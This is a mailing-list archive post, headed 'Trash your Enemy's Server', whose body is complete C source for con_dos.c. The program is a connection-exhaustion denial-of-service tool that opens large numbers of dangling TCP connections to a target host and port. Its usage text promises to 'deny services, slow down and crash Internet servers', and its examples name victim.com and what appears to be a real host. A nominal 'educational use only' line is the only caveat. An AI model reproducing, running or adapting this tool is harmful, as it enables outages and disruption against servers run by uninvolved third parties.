[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Trash your Enemy's Server
/***************************************************************************/
/* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */
/* Copyright(C) 1997 [email protected] */
/***************************************************************************/
const char * Usage =
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
" %s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
" %s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define USAGE( msg ) \
fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
exit( 1 )
/* after I open this many additional connections (for n_connections == 0),
I wait for 1 second, just in case
*/
#define MAX_CONN 50
typedef enum { CON_BLOCK, CON_GRIND } ConMode;
/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
struct sockaddr_in sa ;
struct hostent *hp ;
int a, s ;
long addr ;
bzero(&sa, sizeof(sa)) ;
if ((addr = inet_addr(*hostname)) != -1) {
/* is Internet addr in octet notation */
bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
sa.sin_family = AF_INET ;
} else {
/* do we know the host's address? */
if ((hp = gethostbyname(*hostname)) == NULL) {
return -2 ;
}
*hostname = hp->h_name ;
bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
sa.sin_family = hp->h_addrtype ;
}
sa.sin_port = htons((u_short) port) ;
if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
return -1 ;
}
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* connect */
close(s) ;
return -1 ;
}
return s ;
}
int main( int argc, char *argv[] )
{
char * name;
int port, n_connections;
int s;
ConMode mode;
if( argc != 5
|| (argc >= 1 && (!strcmp( argv[1], "--help" )
|| !strcmp( argv[1], "-help" ))))
{
USAGE( "Wrong Number of Arguments" );
}
if( !strcmp( argv[1], "block" ) )
{
mode = CON_BLOCK;
}
else if( !strcmp( argv[1], "grind" ) )
{
mode = CON_GRIND;
}
else
{
USAGE( "First argument must be 'block' or 'grind'" );
}
name = argv[2];
if( (port = atoi( argv[3] ) ) == 0 )
{
USAGE( "Port Number must be numeric" );
}
if( !isdigit( argv[4][0] ) )
{
USAGE( "Port Number must be numeric" );;
}
n_connections = atoi( argv[4] );
if( n_connections == 0 ) /* infinite loop */
{
int i = 0;
printf( "ATTENTION: This may damage even your "
"computer. Press ^C to abort\n" );
while( 1 )
{
if( create_client_socket( &name, port ) == -1 )
{
printf( "Connection refused; sleeping.\n" );
sleep( 1 );
}
else
{
if( (i++ % MAX_CONN) == (MAX_CONN-1) )
{
printf( "You can interrupt me here. I have %d "
"connections open. \nContinuing...\n", i );
sleep( 1 );
}
}
}
}
else
{
int * fds = (int *)calloc( n_connections, sizeof( int ) );
int i = 0;
if( fds == 0 )
USAGE( "Memory Allocation Error" );
while( 1 ) /* in a loop, keep opening descriptors */
{
if( fds[i] != 0 )
{
printf( "Closing %d...\n", i );
close( fds[i] );
sleep( 1 );
}
while( 1 ) /* try to open the new one */
{
if( (fds[i] = create_client_socket( &name, port )) == -1 )
{
printf( "Connection refused; sleeping.\n" );
sleep( 1 );
}
else
{
printf( "Opened %d.\n", i );
break;
}
}
i++;
if( i == n_connections ) /* we've gone full circle */
{
printf( "Done with %d connections\n", i );
if( mode == CON_BLOCK )
{
printf( "I am going to sleep forever...\n", i );
while( 1 )
sleep(1);
}
else /* repeating the loop */
i = 0;
}
}
}
}